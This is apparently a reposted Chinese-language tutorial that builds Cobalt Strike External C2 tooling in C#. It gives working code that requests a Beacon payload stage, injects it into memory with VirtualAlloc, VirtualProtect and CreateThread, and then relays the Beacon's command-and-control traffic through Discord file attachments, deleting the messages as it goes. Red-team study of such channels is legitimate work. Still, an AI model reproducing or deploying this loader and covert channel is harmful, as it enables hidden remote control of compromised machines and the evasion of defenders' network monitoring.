
Cobalt Strike 具有接受第三方命令和控制的能力,允许运营商远远超出该工具默认提供的 HTTP、DNS、TCP 和 SMB 侦听器。在外部命令和控制规范发布在这里,我们将这篇文章中被大量引用它。如果您不熟悉外部 C2 的概念,请务必至少阅读论文中的概述部分。
本文描述的协议的第一个方面是帧格式。
外部 C2 服务器和 SMB 信标对其帧使用相同的格式。所有帧都以 4 字节小端字节序整数开头。这个整数是帧内数据的长度。帧数据始终遵循此长度值。 2.1 帧数
基于此,我们可以设计一个结构体。我包含了一个构造函数作为创建新框架的简单方法,例如new C2Frame(a, b);
[StructLayout(LayoutKind.Sequential)]
public struct C2Frame
{
public byte[] Length { get; }
public byte[] Data { get; }
public C2Frame(byte[] length, byte[] data)
{
Length = length;
Data = data;
}
}该规范还指出,外部 C2 服务器和 Beacon 使用相同的帧格式,因此创建一些通用方法来处理它是有意义的。我把它变成了一个抽象类,以便其他类可以在以后继承它。
public abstract class BaseConnector
{
protected abstract Stream Stream { get; set; }
protected async Task<C2Frame> ReadFrame()
{
// read first 4 bytes
// this is data length
var lengthBuf = new byte[4];
var read = await Stream.ReadAsync(lengthBuf, 0, 4);
if (read != lengthBuf.Length)
throw new Exception("Failed to read frame length");
var expectedLength = BitConverter.ToInt32(lengthBuf, 0);
// keep reading until we've got all the data
var totalRead = 0;
using var ms = new MemoryStream();
do
{
var remainingBytes = expectedLength - totalRead;
if (remainingBytes == 0)
break;
var buf = new byte[remainingBytes];
read = await Stream.ReadAsync(buf, 0, remainingBytes);
await ms.WriteAsync(buf, 0, read);
totalRead += read;
}
while (totalRead < expectedLength);
return new C2Frame(lengthBuf, ms.ToArray());
}
protected async Task WriteFrame(C2Frame frame)
{
await Stream.WriteAsync(frame.Length, 0, frame.Length.Length);
await Stream.WriteAsync(frame.Data, 0, frame.Data.Length);
}
}要讨论的第一个方面是抽象的Stream属性。我假设我可以使用TcpClient类与外部 C2 服务器通信,使用NamedPipeClientStream类与 SMB Beacon 通信。TcpClient的NetworkStream和 NamedPipeClientStream 本身都继承自Stream,所以这看起来足够通用了。
该WriteFrame方法很简单。它接受一个 C2Frame,将长度写入流,然后是数据。
该ReadFrame方法是一个较长的,但在逻辑上还是相当简单的。我们首先读取流的前 4 个字节并将其转换为整数,因为我们知道这将为我们提供帧的数据长度。一旦我们有了这个长度,我们就继续从流中读取,直到我们读取了所有数据。
最初,我试图一口气阅读整个流,例如:
var dataBuf = new byte[expectedLength];
read = await Stream.ReadAsync(dataBuf, 0, expectedLength);但是,我遇到了read与expectedLength不匹配的问题。我的假设是在外部 C2 服务器完成写入之前我正在从流中读取。所以相反,我进入一个循环,直到读取了预期的字节数。
控制器的角色是在外部 C2 服务器和第三方客户端之间中继数据。
当需要新会话时,第三方控制器连接到外部 C2 服务器。与外部 C2 服务器的每个连接服务一个会话。 3.2 第三方客户端控制器
规范告诉我们应该为每个新的 Beacon 会话建立一个到外部 C2 服务器的新连接。为此,我创建了一个类来处理诸如连接之类的新实例。我决定创建一个接口,使开发人员可以根据需要创建自己的实现。
public interface ISessionController
{
/// <summary>
/// Configure the connection options for this controller
/// </summary>
/// <param name="serverAddress"></param>
/// The IP address of the Cobalt Strike Team Server.
/// <param name="serverPort"></param>
/// The port of the External C2 listener.
/// <param name="block"></param>
/// A time in milliseconds that indicates how long the External C2 server should block when no new tasks are
/// available. Once this time expires, the External C2 server will generate a no-op frame.
void Configure(IPAddress serverAddress, int serverPort = 2222, int block = 100);
/// <summary>
/// Initialise the connection to the External C2 server.
/// </summary>
/// <returns></returns>
Task<bool> Connect();
/// <summary>
/// The architecture of the payload stage. Default's to x86.
/// </summary>
/// <param name="pipeName"></param>
/// The named pipe name.
/// <param name="arch"></param>
/// The architecture of the payload stage.
/// <returns>A byte array of the SMB Beacon stage.</returns>
Task<byte[]> RequestStage(string pipeName, Architecture arch = Architecture.x86);
/// <summary>
/// Send a frame to the External C2 server.
/// </summary>
/// <param name="frame"></param>
/// <returns></returns>
Task WriteFrame(C2Frame frame);
/// <summary>
/// Read a frame from the External C2 server.
/// </summary>
/// <returns></returns>
Task<C2Frame> ReadFrame();
}让我们从Configure方法开始。这无非是设置了一些稍后会用到的私有字段。您还会注意到我让这个类继承了ISessionController和BaseConnector抽象。
public class SessionController : BaseConnector, ISessionController
{
protected override Stream Stream { get; set; }
private IPAddress _server;
private int _port;
private int _block;
public void Configure(IPAddress server, int port = 2222, int block = 100)
{
_server = server;
_port = port;
_block = block;
}
}该连接方法将创建的新实例的TcpClient,并尝试连接到在上获得通过的IP和端口配置方法。如果连接成功,我们抓取底层流并设置Stream属性。
public async Task<bool> Connect()
{
var tcpClient = new TcpClient();
await tcpClient.ConnectAsync(_server, _port);
if (tcpClient.Connected)
Stream = tcpClient.GetStream();
return tcpClient.Connected;
}WriteFrame和ReadFrame只会调用 BaseConnector 抽象上的相应方法。
public new async Task WriteFrame(C2Frame frame)
{
await base.WriteFrame(frame);
}
public new async Task<C2Frame> ReadFrame()
{
return await base.ReadFrame();
}真正有趣的部分是从外部 C2 服务器请求一个新的 Beacon 阶段。
为了配置有效载荷阶段,控制器可以写入一个或多个包含键=值字符串的帧。这些框架将填充会话的选项。外部 C2 服务器不确认这些帧。 3.2 第三方客户端控制器
选项是arch、pipename和block(有关它们的含义的描述,请参阅论文)。
发送完所有选项后,第三方控制器会写入一个包含字符串 go 的帧。这告诉外部 C2 服务器发送有效负载阶段。 3.2 第三方客户端控制器
所以请求看起来像:
“ arch=x64” “pipename=foobar” “block=100” “go “
为了更容易地从这种格式生成帧,我向 C2Frame 结构添加了一个静态方法。
public static C2Frame Generate(string key, string value = "")
{
var bytes = Encoding.UTF8.GetBytes(!string.IsNullOrWhiteSpace(value)
? $"{key}={value}"
: key);
var length = BitConverter.GetBytes(bytes.Length);
return new C2Frame(length, bytes);
}现在我们可以填充RequestStage方法。
public async Task<byte[]> RequestStage(string pipeName, Architecture arch)
{
switch (arch)
{
case Architecture.x86:
await WriteFrame(C2Frame.Generate("arch", "x86"));
break;
case Architecture.x64:
await WriteFrame(C2Frame.Generate("arch", "x64"));
break;
default:
throw new ArgumentOutOfRangeException(nameof(arch), arch, null);
}
await WriteFrame(C2Frame.Generate("pipename", pipeName));
await WriteFrame(C2Frame.Generate("block", $"{_block}"));
await WriteFrame(C2Frame.Generate("go"));
var frame = await ReadFrame();
return frame.Data;
}在这一点上,我们有一个完整的 SMB Beacon 阶段作为需要发送到第三方客户端的 byte[]。
第三方客户端应该从第三方控制器接收 Beacon 负载阶段。有效载荷阶段是一个反射 DLL,它的头被修补以使其自引导。正常的进程注入技术将用于运行此有效负载阶段。 一旦有效负载阶段运行,第三方客户端应该连接到它的命名管道服务器。 第三方客户端现在必须从 Beacon 命名管道连接读取帧。一旦该帧被读取,第三方客户端必须将此帧中继到第三方控制器进行处理。 3.3 第三方客户端
我创建了一个类似的界面来处理这些交互。
public interface IBeaconController
{
/// <summary>
/// Configure the Beacon Controller
/// </summary>
/// <param name="pipeName"></param>
/// The Beacons pipe name
void Configure(string pipeName);
/// <summary>
/// Inject the Beacon stage into memory
/// </summary>
/// <param name="stage"></param>
/// <returns></returns>
bool InjectStage(byte[] stage);
/// <summary>
/// Connect to the injected Beacon
/// </summary>
/// <returns></returns>
Task<bool> Connect();
/// <summary>
/// Send a frame to the External C2 server.
/// </summary>
/// <param name="frame"></param>
/// <returns></returns>
Task WriteFrame(C2Frame frame);
/// <summary>
/// Read a frame from the External C2 server.
/// </summary>
/// <returns></returns>
Task<C2Frame> ReadFrame();
}和实现(此时这应该是不言自明的):
public class BeaconController : BaseConnector, IBeaconController
{
protected override Stream Stream { get; set; }
private string _pipeName;
public void Configure(string pipeName)
{
_pipeName = pipeName;
}
public bool InjectStage(byte[] stage)
{
// allocate memory
var address = Win32.VirtualAlloc(
IntPtr.Zero,
(uint)stage.Length,
Win32.AllocationType.MEM_RESERVE | Win32.AllocationType.MEM_COMMIT,
Win32.MemoryProtection.PAGE_READWRITE);
// copy stage
Marshal.Copy(stage, 0, address, stage.Length);
// flip memory protection
Win32.VirtualProtect(
address,
(uint)stage.Length,
Win32.MemoryProtection.PAGE_EXECUTE_READ,
out _);
// create thread
Win32.CreateThread(
IntPtr.Zero,
0,
address,
IntPtr.Zero,
0,
out var threadId);
return threadId != IntPtr.Zero;
}
public async Task<bool> Connect()
{
var pipeClient = new NamedPipeClientStream(_pipeName);
// 30 second timeout
var tokenSource = new CancellationTokenSource(new TimeSpan(0, 0, 30));
await pipeClient.ConnectAsync(tokenSource.Token);
if (pipeClient.IsConnected)
Stream = pipeClient;
return pipeClient.IsConnected;
}
public new async Task WriteFrame(C2Frame frame)
{
await base.WriteFrame(frame);
}
public new async Task<C2Frame> ReadFrame()
{
return await base.ReadFrame();
}
}在这一点上,我们拥有了所有的组成部分。客户端和控制器只需要在 Beacon 和外部 C2 服务器之间中继帧。控制器和客户端如何通信完全取决于操作员(因为这几乎是重点......)。
在我构建测试客户端和控制器时,我认为如果有一种简单的方法将 C2Frames 转换为原始字节 [] 或 base64 编码的字符串会很有帮助。我回去将以下方法添加到 C2Frame 结构中。
public byte[] ToByteArray()
{
var buf = new byte[Length.Length + Data.Length];
Buffer.BlockCopy(Length, 0, buf, 0, Length.Length);
Buffer.BlockCopy(Data, 0, buf, Length.Length, Data.Length);
return buf;
}
public static C2Frame FromByteArray(byte[] frame)
{
var dataLength = frame.Length - 4;
var length = new byte[4];
var data = new byte[dataLength];
Buffer.BlockCopy(frame, 0, length, 0, 4);
Buffer.BlockCopy(frame, 4, data, 0, dataLength);
return new C2Frame(length, data);
}
public static C2Frame FromBase64String(string frame)
{
return FromByteArray(Convert.FromBase64String(frame));
}
public string ToBase64String()
{
return Convert.ToBase64String(ToByteArray());
}如果您正在进行单元测试(您应该这样做),您可以像这样测试它们:
[Fact]
public void ConvertFrameToByteArray()
{
var length = BitConverter.GetBytes(20);
var data = new byte[20];
using var rng = RandomNumberGenerator.Create();
rng.GetNonZeroBytes(data);
var originalFrame = new C2Frame(length, data);
var frameBytes = originalFrame.ToByteArray();
var newFrame = C2Frame.FromByteArray(frameBytes);
Assert.Equal(newFrame.Length, originalFrame.Length);
Assert.Equal(newFrame.Data, originalFrame.Data);
}我将使用创建的库编写第三方控制器和客户端,以在 Discord 上执行 C2(不是原创,但证明了这个想法)。我已经删除了 Discord 特定的代码,所以我们可以只关注外部 C2 部分。
客户端中的第一步是生成一个字符串以用作命名管道名称,然后向控制器发送某种通知,告知您需要 Beacon 阶段。您如何处理客户端和控制器之间的交互完全取决于开发人员。
private static async Task Main(string[] args)
{
await ConnectToDiscord();
// generate a random guid
var beaconGuid = Guid.NewGuid().ToString();
// send stage request
await _channel.SendMessageAsync($"NewBeacon:{beaconGuid}:{Arch}");
}
private static string Arch => IntPtr.Size == 8 ? "x64" : "x86";
控制器为新的 Discord 消息注册了一个事件,因此它可以在客户端发布消息后立即响应。它将解析该消息,为该 Beacon 创建一个新的 SessionController,并生成一个新阶段。Discord 对消息有 2000 个字符的限制,因此 base64 编码的消息通常太大。相反,您可以将回复作为文件附件上传。
// parse mesage from new Beacon client
var split = e.Message.Content.Split(':');
var beaconGuid = Guid.Parse(split[1]);
var arch = split[2].Equals("x64")
? Architecture.x64
: Architecture.x86;
// create a new SessionController for this Beacon
// connect to it and add it to a Dictionary to track
var controller = new SessionController();
controller.Configure(IPAddress.Parse(_server), _port);
if (!await controller.Connect())
return;
// request a new Beacon stage
var stage = await controller.RequestStage(beaconGuid.ToString(), beaconArch);
// Upload to Discord as a file
await using var ms = new MemoryStream(stage);
var b = new DiscordMessageBuilder();
b.WithFile("stage.bin", ms);
await message.RespondAsync(b);
然后客户端可以获取响应,从中提取阶段并删除消息。有了舞台,我们可以创建它的 BeaconController,然后注入并连接到命名管道。
var stage = await _http.GetByteArrayAsync(stageMessage.Url);
await DeleteMessages(messages);
var beacon = new BeaconController();
beacon.Configure(guid);
if (!beacon.InjectStage(stage))
throw new Exception("Failed to inject stage");
if (!await beacon.Connect())
throw new Exception("Failed to connect to named pipe");然后我们进入一个循环,其中客户端从 Beacon 读取帧,将其发送到 Controller,从 Controller 获取响应帧,将该帧写入 Beacon,依此类推。
while (true)
{
// get frame from beacon
// the first frame after injection is always the Beacon's metadata
var beaconFrame = await beacon.ReadFrame();
// send to Discord
using var ms = new MemoryStream(beaconFrame.ToByteArray());
var b = new DiscordMessageBuilder { Content = beaconGuid };
b.WithFile("frame.bin", ms);
await _channel.SendMessageAsync(b);
// read response
var messages = await _channel.GetMessagesAsync();
// latest reply is always the first message
var reply = messages[0];
var frameBytes = await _http.GetByteArrayAsync(reply.Attachments[0].Url);
var serverFrame = C2Frame.FromByteArray(frameBytes);
// send frame to beacon
await beacon.WriteFrame(serverFrame);
// delete messages
await DeleteMessages(messages);
}在控制器端,我从消息内容中提取信标的 GUID,从我的字典中获取匹配的 SessionController,写入框架,读出框架,然后将其发送回 Discord。
// if message content is not a guid, ignore
if (!Guid.TryParse(e.Message.Content, out beaconGuid))
return;
// read the frame from the message
var frameBytes = await _client.GetByteArrayAsync(e.Message.Attachments[0].Url);
var beaconFrame = C2Frame.FromByteArray(frameBytes);
// grab the SessionController for this Beacon
var controller = Sessions[beaconGuid];
// write the frame to the External C2 server
await controller.WriteFrame(beaconFrame);
// read the response frame
var serverFrame = await controller.ReadFrame();
// send the response frame to Discord
await using var ms = new MemoryStream(serverFrame.ToByteArray());
var b = new DiscordMessageBuilder();
b.WithFile("frame.bin", ms);
await e.Message.RespondAsync(b);原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。